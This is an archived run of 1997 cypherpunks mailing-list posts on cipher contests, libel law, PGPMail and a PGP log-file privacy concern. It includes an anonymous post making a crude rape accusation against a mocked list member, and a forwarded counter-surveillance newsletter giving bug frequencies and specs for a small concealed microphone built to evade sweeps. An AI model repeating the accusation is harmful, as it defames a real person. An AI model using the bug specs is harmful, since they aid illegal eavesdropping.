> > What exactly is the status of RSA's DES contest?  I understand that at
> > least two of the smaller contests have already been cracked, but I
> > haven't seen much beyond theoretical discussion on the list on the
> > topic of the DES contest.
> > 
> 
> 	Two? The only publicized solution so far is the
> RC5/32/12/5 solution from Ian Goldberg at Berkeley
> (and independently from Germano Caronni at ETH Zürich).
> 
> 	Are you saying that you know that the 48 bit RC5
> contest is solved already, or are you just counting Ian's
> and Germano's solutions separately?

Ooops!  Mea culpa.  That's what I meant.

- -- 
Ben Byer    root@bushing.plastic.crosslink.net    I am not a bushing

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Thu, 30 Jan 1997 14:59:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: [DSS] Zero-knowledge interactive proofs
Message-ID: <19970130224808.29068.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Deflated Viscera has been fired for anally raping
officemates.

   o   \ o /  _ o         __|    \ /     |__        o _  \ o /   o
  /|\    |     /\   ___\o   \o    |    o/    o/__   /\     |    /|\ 
  / \   / \   | \  /)  |    ( \  /o\  / )    |  (\  / |   / \   / \
     Dr.Deflated Viscera






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Thu, 30 Jan 1997 23:08:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Intelligence Update (fwd)
Message-ID: <v02140b02af1731478ad4@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>Update on Bugging Devices
>=================================================
>
>0.902 - 0.928 ghz - Popular Commercial FH/DS Devices
>1.710 - 1.755 ghz - DEA Audio/Video Bugs (over 1400 bugs purchased in 1995)
>1.710 - 1.755 ghz - DOJ Audio/Video Bugs (.25 to .50 watts)
>1.710 - 1.850 ghz - Treasury Video Surveillance Systems
>2.400 - 2.484 ghz - Popular Commercial FH/DS Devices
>4.635 - 4.660 ghz - Treasury Video Surveillance Systems
>
>Most recently purchased gvt microwave surveillance gear seems to be running
>between 900mhz to 5ghz, with a few systems operating on the 7/8 ghz bands.
>
>Also, keep in mind that the pros love to use ultra low power devices which
>use the power lines as the transmission medium/antenna (9khz to 300 mhz).
>Devices typically operate below 10mw, often below 1mw. The devices
>typically use Wide FM and use voice inversion encryption... VERY easy to
>demodulate.
>
>Note: According to a recently obtained DOJ surveillance training manual:
>
>"The typical range for the 28 ghz devices is six miles, the typical range
>of the 2.4 ghz is thirty miles, and the typical range for the 1.7ghz  is 44
>miles."
>
>"... frequency modulated applications should operate below 3 ghz to take
>advantage of the favorable frequency propagation characteristics of that
>part of the spectrum."
>
>"...Frequency Hopping and Direct Sequence Devices spead spectrum devices
>should operate above 1.5 ghz, this will prevent the emissions from being
>detected by electronic countermeasures."
>
>The most popular surveillance reciever used covers 9khz (for CC/VLF) up to
>9ghz, so be sure to cover AT LEAST those bands.
>
>=================================================
>
>All TSCM people have heard about AID devices, but few know the actual freq
>they use, or what they look like.
>
>The devices are VERY popular with the law enforcement crowd, private
>investigators and corporate security types. The equipment is VERY overpriced,
>and the fairly easy to detect.
>
>AID bills itself as "The World's Largest Manufacturer of Electronic
>Intelligence Equipment and Specialized Protective Systems"
>
>AID was founded in 1970, and was sold in 92/93 to Westinghouse (Westinghouse is
>currently selling TONS of equipment to the DEA and State dept)
>
>AID - Westinghouse/Audio Intelligence Devices, Inc. Bug Freqs
>
>135 MHz - 150 MHz  Special Order/Secondary Band
>150 MHz - 174 MHz  Standard/Primary Band (Most Popular)
>216 MHz - 220 MHz  Special Order
>400 MHz - 470 MHz  UHF Repeaters
>
> 21 MHz -  80 MHz  Very Low Power WFM (.5mw - 10mw)  Special Order Only
> 36 MHz -  39 MHz  Very Low Power WFM (.5mw - 50mw)  ***Very Dangerous***
> 80 kHz - 200 kHz  "Line Carrier" Microphone Systems ***Very Dangerous***
> 30 kHz - 700 kHz  Spread Spectrum Current Carrier Devices
>
>1700MHz - 1900MHz  25-250mw Video and audio bugs (Mostly DEA/DOJ stuff)
>2400MHz - 2484MHz  25-250mw Video and audio bugs
>
>If the signal is "scrambled" it is nothing more than simple voice inversion,
>a circuit to "de-scramble" costs around $20.
>
>Note: AID devices are often re-tuned for outband channels... so be careful.
>
>The area of spectrum from 15MHz to 500MHz is the primary threat, 500MHz to 3GHz
>is the secondary threat, a "line carrier" threat is from 30kHz to 750kHz.
>
>If the person planting the bug suspects that a TSCM inspection may be
>conducted then AID suggests a frequency between 30MHz to 50MHz,
>sensitivity of rcvr should be better than .18uv/-122dbm. The mode is
>usually wideband FM.
>
>Also, keep in mind that AID devices are frequently used for illegal buggings,
>so be familiar with their realistic specs, expect power outputs well under
>50mw, and expect to see the AC power circuits being used as the antenna.
>
>Note: Mike Langley at NIA advises that AID/NIA/Westinghouse is totally
>shutting down all TSCM training, at that they have cancelled the production
>of all TSCM products effective 1 Jan 97.
>
>=================================================
>
>Several devices were recently found at a DOE facility on Long Island,
>details are a bit sketchy, but initial information indicates that a
>defecting  middle-eastern FIS agent provided a list of locations within
>several DOE facilties that were being targeted.TSCM inspection (not
>performed by DOE) located several devices. Facility/lab working on designs
>for triggering mechanisms... very interesting incident.
>
>=================================================
>
>HDS - Household Data Services
> 50.000 - 750.000 kHz   Carrier Current Audio System
>120.000 - 400.000 kHz   Carrier Current Audio System
>138.000 - 174.000 MHz   Wireless microphone/Body Wires (8KR Series .1 to 30 mw)
>150.000 - 174.000 MHz   Wireless microphone/Body Wires (ATX Series .1 to 30 mw)
>174.000 - 230.000 MHz   Wireless microphone/Body Wires
>350.000 - 440.000 MHz   Audio/Video Transmitters (360-440 popular)
>470.000 - 608.000 MHz   Audio/Video Transmitters
>570.000 - 928.000 MHz   Audio/Video Transmitters (Spread Spectrum Popular)
> 1,000  -  1,500 MHz    Low Power Audio/Video Transmitter (10-100mw max)
> 1,425  -  1,450 MHz    Low Power Audio/Video Transmitter (10-100mw max)
> 1,700  -  2,700 MHz    Audio/Video Transmitters 2.4-2.5 hot (10-100mw max)
> 1,710  -  1,900 MHz    Audio/Video Transmitters (10-100mw max) ** HOT **
> 6,425  -  7,125 MHz    Low Power Audio/Video Transmitter (10-100mw max)
> 8,100  -  8,700 MHz    Audio/Video Transmitter, 8.2/8.5 popular (10-100mw max)
>10,200  - 10,700 MHz    Audio/Video Transmitter, 10.5 popular (10-100mw max)
>17,700  - 19,700 MHz    Low Power Audio/Video Transmitter (10-100mw max)
>20,000  - 24,600 MHz    Low Power Audio/Video Transmitter (10-100mw max)
>
>=================================================
>
>Sony - Wireless Microphones and Body Wires
>470.000 - 489.000 MHz   2.5mw - 20mw, WFM (110kHz), Ultra low power
>770.000 - 782.000 MHz   2.5mw - 10mw, Ultra low power - Chnl 64
>782.000 - 794.000 MHz   2.5mw - 10mw, Ultra low power - Chnl 66
>794.000 - 806.000 MHz   2.5mw - 10mw, Ultra low power - Chnl 68
>770.000 - 810.000 MHz   2.5mw - 20mw, WFM (110kHz), Ultra low power
>902.000 - 928.000 MHz   2.5mw - 20mw, WFM (110kHz), Ultra low power
>947.000 - 954.000 MHz   2.5mw - 20mw, WFM (110kHz), Ultra low power
> 60.000 - 970.000 MHz   2.5mw - 10mw, WFM (300kHz) Audio Transmitter
>
>Note: These little low power devices have an adjustable freq deviation
>which can be adjusted to as high as +/- 225khz... System also uses a
>matched receiver. Entire system xmitter and cvr sell for under $2500.
>
>Imagine a 3mw transmitter operating at 782mhz (snuggled up to the audio of
>the local TV xmitter) using a 100khz cue channel subcarrier. Life
>expectancy at least  350 hours (using lithium cells). Reasonable range at
>least 1500 feet indoors.
>
>=================================================
>
>Finished putting the final touches on a new page
>concerning Mace and Personal Protection Sprays.
>
>Drop by and let me know what you think.
>
>   http://www.tscm.com/mace
>
>
>The ASP - Armament Systems and Procedures Web page is
>now also online, the address follows:
>
>      http://www.tscm.com/asp/
>
>=================================================
>
>BMS manufactures a line of pro-grade products used primarly for the
>Broadcast and Television markets, but their prices are cheap, very small,
>low power, and a serious threat to our clients.
>
>Most of their voice/video/telem products (ie:BMT25-S) operates from
>900mhz-4ghz, and are easily detectable at 10mw and 100mw.
>
>The major threat is from the X-Band, and Ku-Band devices which they sell
>that operate up to 13.5ghz.
>
>Keep in mind the devices are as small as 1.0in x 1.0in x 3.3in, and can be
>run from a 12vdc battery for days, if not weeks.
>
>Most of the devices utilize a variable frequency audio dual sub-carrier
>between 4 to 9 mhz.
>
>They sell small omni directional, and highly directional antenna as well.
>
>=================================================
>
>Intel on Microwave surveillance system (made by AST in MD ??)
>
>Stock Devices
>1.2 to 2.2  ghz
>3.7 to 4.2  ghz
>5.9 to 6.45 ghz
>
>Special Order Devices (1.4 ghz bands)
>1.2 to 2.8  ghz - Justice just bought a bunch of these
>2.2 to 3.8  ghz
>3.2 to 4.8  ghz - State Department item
>4.2 to 5.8  ghz
>5.2 to 6.8  ghz
>
>Tech material mentions product available to 8.5/8.8 ghz
>
>All funtions (including freq) are software controlled,
>
>Direct Sequence output, 60 mhz window for spread spectrum
>
>Device designed to transmit FDM baseband signals from a PBX backplane using
>QAM 64 or 256 modulation.
>
>The box I examined measured 1 * 3.5 * 3 and took power from 8 to 16 vdc (12
>pref).
>
>Output power fixed at 100mw
>
>=================================================
>
>Recently I did some work designing an experimental spread sprectrum
>wireless microphone.
>
>The goal of the project was to see just how small, and how cheaply a
>realistic device could be built.
>
>Initial goal was a device that would use the 47 CFR 15.247 for the ISM band
>from 902 to 928 mhz and an enhancement (jumper change) mode to extend the
>upper frequency range to 954 mhz.
>
>The device would have to have a range of at least 150 feet in a hotel
>building and/or office building (parking lot monitoring).
>
>The device must be small enough to be "dropped in a pocket," concealed in
>the seam of a drape, and placed into furniture.
>
>Device must use consumer (radio shack) batteries.
>
>Device must cost less $100 in materials to build
>
>I felt the above specs would reflect a realistic device.
>
>---------------
>
>1) Battery used was 2ea EPX-76 cells which gave 2.5 to 3 hours of usable
>audio, sub-ed a DL123A lithium which upped the time to over 4 days (and
>still counting)
>
>2) Microphone was two surface mount Seimens hearing aid elements.
>
>3) Spread Spectrum controller was a surface mount WL-9010 from Wireless
>Logic, the chip is a compact stand alone transmitter.
>
>4) Used a Mitsubishi codec chip commonly used in cellular telephone with a
>noise cancelling circuit (this is why two microphones were used).
>
>5) Small pot was used to adjust the output power between .15mw to 65mw
>
>6) All components used where SMT versions, hot flow was used for assembly
>
>7) Entire circuit was assembled on a .30 by .25 inches square double sided
>printed circuit board.
>
>8) PCB soldered directly to battery cap
>
>9) .5 inch long paper clip used as antenna
>
>10) Currently working on a telephone line version.
>
>11) Range at 50mw (legal power limit) tested usable and clear at 260 feet
>(device placed in hotel room, and monitored in the parking lot)
>
>12) Device WAS NOT detectable with an AVCOM 65 until the antenna was within
>8 inches of the device (until a hump started to slightly appear).
>
>
>What doe this tell us?
>
>Spread spectrum devices can be real small, cheaply made, and low power
>using off the shelf products.
>
>Watch that area between 800 mhz and 1 gig
>
>=================================================
>
>We are interested in purchasing old catalogs, training materials, and technical
>documentation used by Audio Intelligence Devices, HDS, and other
>surveillance companies.
>
>Specifically we are looking for:
>
>   Old product catalogs
>   Sales materials picked up at trade shows (IE: NATIA)
>   Training Manuals from National Intelligence Academy
>   Textbooks from National Intelligence Academy
>   Product Owners Manuals
>   Product Service Manuals
>
>We are also interested in purchasing "generations" of materials, so if you
>have ten years worth of old catalogs from the '70s were interested.
>
>Let us know what you've got, and we'll work out cash payment arrangements.
>
>The materials will be used for project that starts in January and will run
>for at least six months.
>
>If you have materials from other technical intelligence schools or
>surveillance we could also be interested.
>
>=================================================
>
>I recently had a chance to examine a new device made by Delft
>Industries.
>
>It is very similar to the X-Band units I've examined,
>except that the frequencies were higher and mods were much
>more subtle.
>
>Small PCB was cemented into the rear of the unit, underneath the regular
>PCB (black rubber covered 1.5 cm * 4cm * .8cm).
>
>Unit consited of a two microphones, compander circuits,
>power supply/regulator, and modulator circuit.
>
>Compander circuit operated dual circuits around 120hz to 15khz.
>
>No external mods to case, only very small variation in power drain,
>no internal battery, several large surface mount caps...
>
>Entire unit double sided surface mount PCB, looks like 4 layers,
>2/3 digital circuitry, 1/3 analog and RF circuitry.
>
>The only mods to the alarm PCB was the cutting of several traces
>on the back of the PCB (near the emitter circuit).
>
>The doppler alarm operated between 24 ghz and 24.25 ghz, intelligence
>seems to be a 480k bit digital data stream using the alarm
>signal as the carrier (QAM mod).
>
>Looks like one version of the product will also allow someone
>to deactivate a specific sensor remotely upon on command.
>
>According to the factory, the units are being shipped into
>Canada and Mexico in quanity, then transported into the
>US in small quantities.
>
>Heavy usage in Texas, New Orleans, Florida, California,
>and Pennsylvania.
>
>Device have already been offered for sale in several
>"spy shops" in New York, and Miami.
>
>- Be Careful Out There
>
>========================================================
>
>You may find it interesting to revist our web site in
>the near future, during the last few months the site has
> undergone incredible growth, copius additions, and changes..
>
>        http://www.tscm.com/
>
>On January 2, 1997 we rolled out several new
>product lines which increased the number of TSCM products
>on our web page to over 1,000 TSCM and technical security
>products.
>
>At the present time we have over 12,500 pages of
>printed documents available for download.
>
>If you haven't reviewed it yet, be advised that we now
>have a TDR tutorial page available online.
>
>        http://www.tscm.com/riserbond.html
>
>
>We've also updated the materials we have online
>regarding the REI OSC-5000
>
>        http://www.tscm.com/reioscor.html
>
>
> ===============================================================
>
>DOJ just took delivery of a large number of video transmitter modules
>
>Operating freqs between 8ghz and 11 ghz (PLL field programmable)
>
>10mw rf output (max), nominal 8.5mw
>
>power draw below 35ma
>
>baseband video trans, not SS
>
>all modules have audio inputs (solder tab), standard audio subcarrier,
>audio section may be disabled to conserve power.
>
>Min. effective (flat array ant) range indicated as 2700 feet line of sight,
>and 1500 rural.
>
>I would estimate the range to be below 500 ft with a unity gain antenna.
>
>A number of the units came preinstalled in fake squirel and
>birds nests with a low light auto iris CCD camera (unk manuf, suspect
>Kodak). I've seen similar units used by the DEA (installed under tree
>bark).
>
>Both unity gain ant config (stub), and biconical flat pack.
>
>Power requirements seem to correlate to 9vdc lithium batteries.
>
>>From what I can see on the physical specs, looks like the transmitter, and
>camera combined are 2/3 the size of a standard 9vdc battery.
>
>The document indicates gvt paid $874 per module (Xmit module only),
>document also mentions req code for the "domestic counterterrorism"
>program.
>
>I wonder if these are the "tree frogs" that the boys at Quantico were
>trying to get bids on, back in September?
>
>It's only a matter of a few months before these devices start getting
>"lost in the field " and start re-appearing in the private sector.
>
> ===============================================================
>
>I've heard from several engineers at TI that an unidentified gvt law
>enforcement agency has them working on a super compact thermal imaging
>system and video transmitter for covert surveillance. System utilizes an
>electronic LCD chopper instead of the regular mechanical chopper. Device
>contains integral microwave tranmitter (unk freq). From what I can gather,
>these are going to be used for conducting long term thermal surveillance of
>areas... I will advise as I obtain further intel.
>
> ===============================================================
>
>Just finished reading the 1997 Hewlett Packards optoelectronics designers
>guide, and found several items of interest.
>
>Most of us are familiar with the low power 900nm I/R devices.
>
>But did you know that they also make CHEAP LED's for communications
>that operate from 700nm to 1510nm??
>
>700, 710, 875, 905, 940, 1100, and 1510nm are the most common products in
>the HEMT line.
>
>Can be modulated (open air) from 0 to 750khz with no problem, and higher speeds
>with some minor distortion.
>
>just a heads up
>
> ===============================================================
>
>We are taking delivery of the first 95S radio's and third generation MSS
>units from Boeing... We are expecting initial shipments to customers mid to
>end of Feb.
>
>The 95S is a stand alone wideband receiver designed for SIGINT and TSCM,
>weighs in at just under 8 lbs (complete). Radio will retail for around
>6,000 and 7,500 dollars (US) depending on config.
>
>While the unit is fully self contained, we will have a VME version avail
>(we have them now). Coverage is a clean from 5khz to 8ghz (yes 8ghz), and
>sensitivity is superior to anything Watkins Johnson makes.
>
>Reciever is being built into the new MSS-3500 briefcase system, which will
>allow automated spectrum monitoring of 40ghz of spectrum in 8/9ghz
>segments.
>
> ===============================================================
>
>Just finished playing with a nasty little Radio Shack (CM-421)
>single channel VHF microphone.
>
>While the product is designed for use in the 160-220 range, it's designed
>so that to be recrystalized and usable anywhere in the world.
>
>The product can be easily retuned from 90-300Mhz (by the book), power
>output is variable via a pot from 5mw to 50mw.
>
>Current drain is around 40ma at 50mw, and much lower for 5mw output.
>
>Product is extremely stable, with adjustable deviations (to +/1 100khz)
>
>Integral tietack microphone
>
>Radio Shack will sell the xmitter only for around
>50 bucks (I bought several to eval)
>
> ===============================================================
>
>Recently had access to some of the new fiber optic devices out there and
>wanted to post some of the techniques by which they can be detected.
>
>
>Subject device optics are made by Corning Glass, and consists of three
>components. The "electronics" are manufactured by E-systems in Dallas, TX.
>
>
>The entire installation kit fits into two 18 * 22 * 7 briefcases made by
>SKB, the first case contains a battery powered automatic fusion
>splicer/LID, equipment to test the installation, and a tool kit. The second
>case contains the microphones, spools of "cable", optical modules,
>controllers, and battery packs
>
>
>1. "Front-End Microphone" is a small glass cylinder roughly 2.5mm wide x
>5mm long with a small 1.5mm long pinhole tube on one end, and a 3 to 12 ft
>50/125 fiber tail on the other. This part of the system is designed to be
>installed "pinhole" style. Pigtail cable is routed to and fusion spliced
>into a "Runner Cable". The microphone contains small barbs to keep it in
>position with out the use of adhesives. A small 2.5mm needle drill bit is
>used to drill the hole.
>
>2. The "Runner Cable" is a 50um/125um fiber optic bundle, typically 3 to 8
>fibers are combined to allow a single runner to support 6-8 devices. This
>cable is flat and measures roughly 125um high, and .75 to 1mm wide. Cable
>has a min. bend radius of 4cm, and is field terminated with a small
>automated fusion splicer to the "Front-End Microphone". This cable can be
>left loose or secured with an adhesive. Installation kit contains a small
>flexible installation tube to assist in installing below carpet or behind
>wood panelling.
>
>3. The "Repeater" consists of a disguised box roughly 15cm x 5cm x 5cm,
>with an optional battery pack/power supply/trickle charger (15cm x 10cm x
>5cm) or the device can be powered directly off of AC Mains. The repeater
>can be easily installed and hidden in a cinder block or concrete on an
>outside wall. It looks like the device is for long term installations, it
>is totally sealed and the electronics have conformal coatings/potting.
>
>Device appears to emit a RF digital signal using 64/128/256 QAM Spread
>Spectrum modulation on programmable frequencies between 1.5ghz and 8.5 ghz.
>Modulator is contained into a "flat-pack" style antenna module. A 512kbps
>baseband signal is supplied to the antenna (bit stream can go as high as
>2mbps, the one I examined was set for 512).
>
>Note: The "repeater" supplies the antenna with a baseband signal, control
>codes, and power. The modulator/transmitter is contained in the antenna.
>
>The device uses an RF guard channel that is used to deactivate all
>emissions (Go Mute) upon remote command.
>
>The "repeater" utilizes 8 fiber outputs (it has 8 field replacable optical
>modules), and one min. SMA connector for the baseband output. Suspect the
>device can also be be uploaded with transmision times. It also contains
>sufficent memory (32mb) to hold a good 4 hours or more of compressed audio.
>
>Repeater can also transmit (Spread Spectrum) over telco or power lines with
>a small adapter (I was not able to secure the frequencies, but I suspect
>somewhere between 200khz and 3 mhz).
>
>
>Device Operation:
>
>System uses a 50/125 Raw fiber optic distribution system, the fiber is
>coated, but not jacketed or buffered in any way. The fiber has a frequency
>response between 1230 to 1550/1710? single mode. I suspect it is standard
>single mode (1500nm) fiber strand.
>
>The "Repeater" contains a low power single mode solid state light source, a
>duplexer/splitter (prism), and a light reciever. The light beam is
>transmitted into the fiber, travels to the "Front-End" where it is is
>reflected against an angled vibrating membrane. The membrane causes a
>slight frequency shift in the light beam, which is reflected back to the
>"Repeater" where it is "picked" off with a prism and solid state detector.
>(typical fiber optic microphone).
>
>
>Counter-Measures:
>
>There is NO METAL in the microphone or fiber distribution system, and they
>CANNOT be detected by a Non-Lin (no non-linear junctions). Nor can they be
>detected with metal detectors, and no electro-magnetic field is present on
>the "Front End".
>
>The "Repeater" section is fairly to detect with a non lin, but since it is
>supposed installed into the outside wall it tends not to be practical. The
>ideal way to detect is to sweep the exterior of the building for RF
>emissions. Also, the unit tends to run VERY hot (110-135 degrees), and
>should be visible as a thermal anomally.
>
>Also, the system can be detected by looking for minute amounts of light
>"leaking" from both the microphone, fusion couplings, and fiber
>distribution system.
>
>The pinhole for the microphone can be detected with a IR visual search
>around 440 to 450nm (you'll need a light source with at least 500,00 candle
>power, the Blue Light Ultra works well, or an Omnichrome).
>
>Once a suspect pinhole is found it can be tested for IR with a conventional
>Spectrum Analyser with a IR front end (the Tektronix SA-42 or SA-46 works
>well). There is always a small amount or IR leakage with this system.
>
>Once the microphone is detected it is a fairly simple matter to trace the
>line back to the controller module or "Repeater"
>
>Keep in mind that the system is designed to use 3 to 8 microphones.
>
>
>I am going to get a look at an OC-12 clamp-on fiber optic tapping system in
>a few weeks and will advise.
>
> ===============================================================
>
>
>As always,
>Please treat this information as highly confidential and
>please do not redistribute, Thank You
>
>
>Regards,
>
>-jma
>
> ===============================================================
>         Train, Observe, Detect, Protect, Defend, Repel
> ===============================================================
>  James M. Atkinson
>  Granite Island Group - TSCM.COM
>  127 Eastern Avenue #291                 http://www.tscm.com/
>  Gloucester, MA 01931-8008                  jmatk@tscm.com
> ===============================================================
>      The First, The Largest, The Most Popular, and the Most
>      Complete TSCM Counterintelligence Site on the Internet
> ===============================================================
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 30 Jan 1997 21:26:52 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Libel & the 1st Amendment (fwd)
In-Reply-To: <199701310413.WAA00226@einstein>
Message-ID: <199701310523.XAA13320@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Jim Choate wrote:
> 
> 
> Forwarded message:
> 
> > Date: Wed, 29 Jan 1997 10:46:57 -0500 (EST)
> > From: Declan McCullagh <declan@pathfinder.com>
> > 
> > * The 1st Amendment does protect some lies.
> 
> No, it protects speech. The Constitution is meant to protect citizens from a
> priori constraints on their speech, not the results of the content ex post
> facto.
> 
> It is clearly not in the best interest of society to limit opinions or
> fiction.
> 
> > If I say "Jim Choate is a
> > Venusian albatross," the statement is probably (?) a lie,
> 
> No, for it to be a lie there must be a potentiality of its truth. A nonsense
> statement which happens to fit the syntactical rules of a language wouldn't
> qualify.

I can give you an example.

``Jim Choate invented an improved bubble sort method, called BSAM.''

This is undoubtedly false since you likely did not invent any sorting
method. But you would not be able to get any damages (is that correct?)

> The legal standard should be that if you make statements purported to be
> true about a third party without their prior consent you should be held to
> a minimum standard of evidence demonstrating the actuality of your statement.

When you say "should", what do you mean? That the current law will
hold you to a minimum standard of evidence?

Or you mean that it would be nice if it were so?

> A democratic society should have no tolerence for libel, slander, or other
> forms of lies.

Why? And who decides what is a lie?

> > * Many 1st Amendment experts don't believe in the legal concept of libel. 
> > It is, they say, a rich man's game
> 
> Exactly, instead of equal protection under the law we have a specieocracy.

... and then 20 lines later: 

> In civil cases the plaintiff should place a bond, set at some percentage of
> the maximum permissible award, at the time the case is filed. This would at
> least cover the general costs of the court and limit nuisance cases.
> 

You can either oppose "specieocracy" and inequality of rich and
poor in libel litigation, or ask to place bonds that will make even
harder for the poor to sue, BUT NOT BOTH, if you want to remain logical.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Thu, 30 Jan 1997 23:59:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGPMail 4.5 Released!
Message-ID: <3.0.1.32.19970130233603.02f98a2c@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

PGPMail 4.5 is now available for ordering from PGP Inc.  

If you have Digicash or a credit card, you can order from the home page.  (I
would not recommend the credit card option though.  The form claims that it
is encrypted with SSL, but the info will be sent in the clear.  Someone needs
to have a talk with their web master...  This is not the first security
problem with their pages.)

In using the betas, I have been pretty impressed.  It works with Eudora
seamlessly.  (Enough that I did not notice that it had installed itself
automatically instead of having to do a seperate install as the documentation
claimed.)  The program beats out any of the plug-ins and front-ends for
integrating PGP and e-mail that I have seen yet.  And for $29.95 for PGP
2.6.2 users, well worth the price...

Disclaimer:
I have no financial stake in PGP Inc, not do I have controling interest in
the financial affairs of Mr. Zimmerman, liens on the souls of the damned,
control of the Aluminum Bavariati, eyes as big as my stomach, or the rites to
reproduce the descriptions of major league baseball games without permission
of the commisioner of Gotham City.

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBMvGgneQCP3v30CeZAQH6Twf9HiZQKt7j0SaB+bNRfrZv/zM3/K7F019Y
BfLE/OipkeWQQQNDm4KNbz36y58lBhZdXPTuJuyPoICrR3ixNbTz1+DVi3We3ARz
9OspLf74X9hGCw+oJxLTpG2zznBARH6rQ2Bsjh7orvrnvYLlmhjhnEkrShb2BhW6
WuDSdmBfz7yk9iUFVzK6TAcxDv/gLH/hjS6PoTFtwoPKDp9aca4jPzr9scLUhETo
66qPdtLF8TYwzc5+G5/m6w7PJTCf/uyba7OyJ0EYqBDKR4AzqTaL4ZPMUQ8gw1DN
F0O/RhbaJMfRDtTQMNaMjR8tZXtO8fFrnQg9SC0jeoZ0/rhOy+0BnA==
=0TfD
-----END PGP SIGNATURE-----

---
|   If you're not part of the solution, You're part of the precipitate.  |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 31 Jan 1997 00:22:45 -0800 (PST)
To: Duncan Frissell <frissell@panix.com>
Subject: Re: Cats Out of Bags
In-Reply-To: <199701292343.PAA16370@toad.com>
Message-ID: <3.0.1.32.19970131001044.002e58b8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


> "When I talk to other governments," [David L. Aaron] said, 
> "they still don't feel that the cat is out of the bag."

Aaron's denying that the cat is out of the bag?
He was fashionably dressed in a Lion Tamer's outfit,
waving a whip, and trying to herd hundreds of small furry mammals
to jump through a hoop and back into a clawed-up army duffel-bag!
"Cats?  Haven't seen any cats around here!  Pay no attention to these,umm,
Siberian Hamsters that I'm evaluating for export approval."

> "Other governments were upset with the 56-bit export allowance. 
> They said it was going to undermine their national security."

On this point, the other governments are correct.
It really _is_ tougher to maintain a nation-state when your
former subjects can have private conversations with each other
and with other governments' former subjects......
And even 56 bits is a start.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 30 Jan 1997 22:24:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: (no subject)
Message-ID: <32F1AC90.799F@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


12251227





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 30 Jan 1997 23:30:45 -0800 (PST)
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Workaround for filtering/cybersitter
In-Reply-To: <199701301237.MAA26312@mailhub.amaranth.com>
Message-ID: <32F1BC58.4A8C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


William H. Geiger III wrote:

> Whenever I did decide to prosecute someone I would make it a big public show
> for everyone to see with very stiff penalties.

  Like unsubscribing Dr. Vulis.

> After several of these trails the "sheep
> factor" will keep 99% of the population in line (US Crypto policy is a prime example).

  The cypherpunks-censored list is another example.
   
> The point I am trying to make is that for the censor his set-up does not need to be that
> sophisticated as fear and intimidation will keep 99% of the
> rank-and-file in line. As for the other 1%, well they already know who they are and new
> laws will only help take care of that "problem".

  No one seems to be calling Sandy's moderation overly sophisticated.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert Rothenburg 'Walking-Owl'" <WlkngOwl@unix.asb.com>
Date: Thu, 30 Jan 1997 23:23:58 -0800 (PST)
To: Mail45 <mail45bugs@pgp.com>
Subject: Log File a security hole?
Message-ID: <199701310746.CAA27896@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain


Is there a way to disable the \WINDOWS\PGPW_32.LOG?
In subtle ways it's a security hole if left to accumulate over time,
since it keeps records of which keys you encrypted messages to.

(Imagine somebody using an anonymous remailer but g-d forbid is 
unaware of this log file, and somebody discovers that messages were 
encrypted to such a beast...)

I understand in certain group/corporate environs one would want 
logging; in others, one doesn't need it or should have the option (in 
an easily found place) to wipe it every once in a while.




-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: digitalis@alias.cyberpass.net
Date: Fri, 31 Jan 1997 02:48:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGPMail Log File
Message-ID: <199701311023.CAA26008@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:22 AM 1/31/97 +0000, "Robert Rothenburg 'Walking-Owl'" 

< WlkngOwl@unix.asb.comwrote:
> Is there a way to disable the \WINDOWS\PGPW_32.LOG?
> In subtle ways it's a security hole if left to accumulate over time,
> since it keeps records of which keys you encrypted messages to.

> (Imagine somebody using an anonymous remailer but g-d forbid is 
> unaware of this log file, and somebody discovers that messages were 
> encrypted to such a beast...)

> I understand in certain group/corporate environs one would want 
> logging; in others, one doesn't need it or should have the option (in 
> an easily found place) to wipe it every once in a while.

